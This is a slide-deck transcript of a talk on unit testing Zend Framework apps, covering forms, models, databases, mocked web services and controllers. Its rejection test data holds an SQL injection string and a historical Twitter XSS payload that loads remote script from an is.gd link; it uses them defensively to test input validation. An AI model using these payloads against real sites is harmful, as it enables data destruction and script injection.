SlideShare a Scribd company logo
1 of 102
Unit Testing with
Zend Framework
 PHPBenelux Meeting May 2011
     Haasrode - Belgium
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar




http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…
NO EXCUSES!
The cost of bugs
           Bugs           Project Costs

100



 75



 50



 25



  0
   Start     Milestone1   Milestone2      Milestone3
The cost of bugs
           Bugs          Project Costs                Unittests

100



 75



 50



 25



  0
   Start          Milestone1             Milestone2               Milestone3
Maintainability
•- during development
     test will fail indicating bugs
•- after sales support
    testing if an issue is genuine
 - fixing issues won’t break code base
  ‣ if they do, you need to fix it!
• long term projects
 - refactoring made easy
Remember



“Once a test is made, it will always be tested!”
Confidence
•- for the developer
     code works
•- for the manager
     project succeeds
•- for sales / general management / share holders
     making profit
•- for the customer
    paying for what they want
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Unit test suite">
        <directory>./</directory>
    </testsuite>

   <filter>
       <whitelist>
            <directory suffix=".php">../application/</directory>
            <directory suffix=".php">../library/Mylib/</directory>
            <exclude>
                <directory suffix=".phtml">../application/</directory>
            </exclude>
       </whitelist>
   </filter>

</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
);

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';
$application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
);

$application->bootstrap();
Zend_Tool since 1.11.4


• provides
 • phpunit.xml
 • bootstrap.php
 • IndexControllerTest.php

                             Ralph Schindler
Start your engines!




 http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm
        Name:
E-mail Address:
      Website:
    Comment:



       Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
    protected $_form;

    protected function setUp()
    {
        $this->_form = new Application_Form_CommentForm();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_form = null;
    }

}
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertTrue($this->_form->isValid($data));
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '',
                'http://xkcd.com/327/','Little Bobby Tables'),
         array (str_repeat('x', 100000), '', '', ''),
         array ('John Doe', 'jd@example.com',
                "http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
                'exploit twitter 9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testFormRejectsBadData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertFalse($this->_form->isValid($data));
}
Create the form class
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        /* Form Elements & Other Definitions Here ... */
    }


}
Let’s run the test
Let’s put in our elements
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        $this->addElement('text', 'name', array (
            'Label' => 'Name', 'Required' => true));
        $this->addElement('text', 'mail', array (
            'Label' => 'E-mail Address', 'Required' => true));
        $this->addElement('text', 'web', array (
            'Label' => 'Website', 'Required' => false));
        $this->addElement('textarea', 'comment', array (
            'Label' => 'Comment', 'Required' => true));
        $this->addElement('submit', 'post', array (
            'Label' => 'Post', 'Ignore' => true));
    }


}
Less errors?
Filter - Validate
$this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_Mwop(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_EmailAddress(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_Callback(array('Zend_Uri', 'check')),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_TextBox(),
        new Zend_Validate_StringLength(array ('max' => 5000))),
));
Green, warm & fuzzy
You’re a winner!


☑ quality code
☑ tested
☑ secure
☑ reusable
Testing models
Testing business logic
•- models contain logic
   tied to your business
 - tied to your storage
 - tied to your resources
• no “one size fits all” solution
Type: data containers
•- contains structured data
    populated through setters and getters
•- perform logic tied to it’s purpose
   transforming data
 - filtering data
 - validating data
• can convert into other data types
 - arrays
 - strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
    protected $_comment;
    protected function setUp()
    {
        $this->_comment = new Application_Model_Comment();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
        $this->assertSame(0, $this->_comment->getId());
        $this->assertNull($this->_comment->getFullName());
        $this->assertNull($this->_comment->getEmailAddress());
        $this->assertNull($this->_comment->getWebsite());
        $this->assertNull($this->_comment->getComment());
    }
}
This test won’t run!
Create a simple model
<?php

class Application_Model_Comment
{
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;

    public   function setId($id) { $this->_id = (int) $id; return $this; }
    public   function getId() { return $this->_id; }
    public   function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public   function getFullName() { return $this->_fullName; }
    public   function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public   function getEmailAddress() { return $this->_emailAddress; }
    public   function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public   function getWebsite() { return $this->_website; }
    public   function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public   function getComment() { return $this->_comment; }
    public   function populate($row) {
        if   (is_array($row)) {
              $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
        }
        if   (isset   ($row->id)) $this->setId($row->id);
        if   (isset   ($row->fullName)) $this->setFullName($row->fullName);
        if   (isset   ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
        if   (isset   ($row->website)) $this->setWebsite($row->website);
        if   (isset   ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray()     {
        return array (
            'id'           =>     $this->getId(),
            'fullName'     =>     $this->getFullName(),
            'emailAddress' =>     $this->getEmailAddress(),
            'website'      =>     $this->getWebsite(),
            'comment'      =>     $this->getComment(),
        );
    }
}
We pass the test…
Really ???
Not all data from form!
•- model can be populated from
    users through the form
 - data stored in the database
 - a webservice (hosted by us or others)
• simply test it
 - by using same test scenario’s from our form
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         $this->fail('Unexpected exception should not be triggered');
     }
     $data['id'] = 0;
     $data['emailAddress'] = strtolower($data['emailAddress']);
     $data['website'] = strtolower($data['website']);
     $this->assertSame($this->_comment->toArray(), $data);
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
         array (str_repeat('x', 1000), '', '', ''),
         array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         return;
     }
     $this->fail('Expected exception should be triggered');

}
Let’s run it
Modify our model
protected $_filters;
protected $_validators;

public function __construct($params = null)
{
    $this->_filters = array (
        'id' => array ('Int'),
        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
        'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
     'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
        'id' => array ('Int'),
        'fullName' => array (
            new Zftest_Validate_Mwop(),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'emailAddress' => array (
            'EmailAddress',
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'website' => array (
            new Zend_Validate_Callback(array('Zend_Uri', 'check')),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
     'comment' => array (
            new Zftest_Validate_TextBox(),
            new Zend_Validate_StringLength(array ('max' => 5000)),
        ),
    );
    if (null !== $params) { $this->populate($params); }
}
Modify setters: Id & name
public function setId($id)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
        throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
}

public function setFullName($fullName)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
        throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
}
Email & website
public function setEmailAddress($emailAddress)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
        throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
}

public function setWebsite($website)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
        throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
}
and comment
public function setComment($comment)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
        throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
}
Now we’re good!
Testing Databases
Integration Testing
•- database specific functionality
   triggers
 - constraints
 - stored procedures
 - sharding/scalability
• data input/output
 - correct encoding of data
 - transactions execution and rollback
Points of concern
•- beware of automated data types
   auto increment sequence ID’s
 - default values like CURRENT_TIMESTAMP
• beware of time related issues
 - timestamp vs. datetime
 - UTC vs. local time
The domain Model
• Model object
• Mapper object
• Table gateway object

    Read more about it
Change our test class

class Application_Model_CommentTest
   extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest
   extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing up
protected $_connectionMock;

public function getConnection()
{
    if (null === $this->_dbMock) {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        $this->bootstrap->bootstrap('db');
        $db = $this->bootstrap->getBootstrap()->getResource('db');
        $this->_connectionMock = $this->createZendDbConnection(
            $db, 'zftest'
        );
        return $this->_connectionMock;
    }
}

public function getDataSet()
{
    return $this->createFlatXmlDataSet(
        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing SELECT
public function testDatabaseCanBeRead()
{
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I like you picking up the challenge!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
           ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing INSERT
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
      id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
      id="3"
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
            $ds, array ('comment' => array ('id')));

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
Testing web services
Web services remarks
•- you need to comply with an API
    that will be your reference
•- you cannot always make a test-call
     paid services per call
 -   test environment is “offline”
 -   network related issues
Example: joind.in
http://joind.in/api
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinTest
public function testJoindinCanGetUserDetails()
{
    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
    $this->_joindin->setUsername($this->_settings->username)
                   ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}

public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Testing the service
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>


                      I recently logged in ✔
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>
                Latency of the network 1s ☹
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
 <?xml version="1.0"?>
 <response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
   <test_string>testing unit test</test_string>
 </response>
                Latency of the network 1s ☹
Solution… right here!
Your expectations
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        $client = new Zend_Http_Client();
        $client->setAdapter(new Zend_Http_Client_Adapter_Test());
        $this->_joindin->setClient($client);
        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_joindin = null;
    }
}
JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <item>
     <username>DragonBe</username>
     <full_name>Michelangelo van Dam</full_name>
     <ID>19</ID>
     <last_login>1303248639</last_login>
  </item>
</response>
EOS;
     $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
     $this->_joindin->setUsername($this->_settings->username)
                    ->setPassword($this->_settings->password);
     $actual = $this->_joindin->user()->getDetail();
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <dt>{$date->format('r')}</dt>
  <test_string>testing unit test</test_string>
</response>
EOS;
     $client = $this->_joindin->getClient()
                              ->getAdapter()->setResponse($response);
     $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
     $actual = $this->_joindin->site()->getStatus('testing unit test');
     $this->assertXmlStringEqualsXmlString($expected, $actual);
}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest
<?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

    public function setUp()
    {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        parent::setUp();
    }
}
Testing if form is on page
public function testIndexAction()
{
    $params = array(
        'action' => 'index',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains(
        'h1#pageTitle', 'Please leave a comment');
    $this->assertQueryCount('form#commentForm', 1);
}
Test processing
public function testProcessAction()
{
    $testData = array (
        'name'    => 'testUser',
        'mail'    => 'test@example.com',
        'web'     => 'http://www.example.com',
        'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');

    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
}
REMARK
•- data providers can be used
   to test valid data
 - to test invalid data
• but we know it’s taken care of our model
 - just checking for error messages in form
Test if we hit home
public function testSuccessAction()
{
    $params = array(
        'action' => 'success',
        'controller' => 'index',
        'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertRedirectTo('/');
}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote
Thank you
• source code:
     http://github.com/DragonBe/zftest

• your rating:
     http://joind.in/3381

•- follow me:
      twitter: @DragonBe
 -    facebook: DragonBe

              Please use joind.in for feedback

More Related Content

What's hot

Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownpartsBastian Feder
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologySymfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologyDaniel Knell
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your projectMichelangelo van Dam
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretssmueller_sandsmedia
 
Decoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DICDecoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DICKonstantin Kudryashov
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015Konstantin Kudryashov
 
購物車程式架構簡介
購物車程式架構簡介購物車程式架構簡介
購物車程式架構簡介Jace Ju
 
PHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くためにPHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くためにYuya Takeyama
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitmfrost503
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful softwareJorn Oomen
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Colin O'Dell
 
Design how your objects talk through mocking
Design how your objects talk through mockingDesign how your objects talk through mocking
Design how your objects talk through mockingKonstantin Kudryashov
 
R57shell
R57shellR57shell
R57shellady36
 
November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2Kacper Gunia
 
Adding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy ApplicationsAdding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy ApplicationsSam Hennessy
 

What's hot (20)

Separation of concerns - DPC12
Separation of concerns - DPC12Separation of concerns - DPC12
Separation of concerns - DPC12
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownparts
 
Symfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technologySymfony2 Building on Alpha / Beta technology
Symfony2 Building on Alpha / Beta technology
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
international PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secretsinternational PHP2011_Bastian Feder_jQuery's Secrets
international PHP2011_Bastian Feder_jQuery's Secrets
 
Decoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DICDecoupling with Design Patterns and Symfony2 DIC
Decoupling with Design Patterns and Symfony2 DIC
 
Mocking Demystified
Mocking DemystifiedMocking Demystified
Mocking Demystified
 
Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015Min-Maxing Software Costs - Laracon EU 2015
Min-Maxing Software Costs - Laracon EU 2015
 
Min-Maxing Software Costs
Min-Maxing Software CostsMin-Maxing Software Costs
Min-Maxing Software Costs
 
購物車程式架構簡介
購物車程式架構簡介購物車程式架構簡介
購物車程式架構簡介
 
PHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くためにPHPUnit でよりよくテストを書くために
PHPUnit でよりよくテストを書くために
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
 
Crafting beautiful software
Crafting beautiful softwareCrafting beautiful software
Crafting beautiful software
 
Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016Hacking Your Way To Better Security - Dutch PHP Conference 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
 
Design how your objects talk through mocking
Design how your objects talk through mockingDesign how your objects talk through mocking
Design how your objects talk through mocking
 
R57shell
R57shellR57shell
R57shell
 
Zero to SOLID
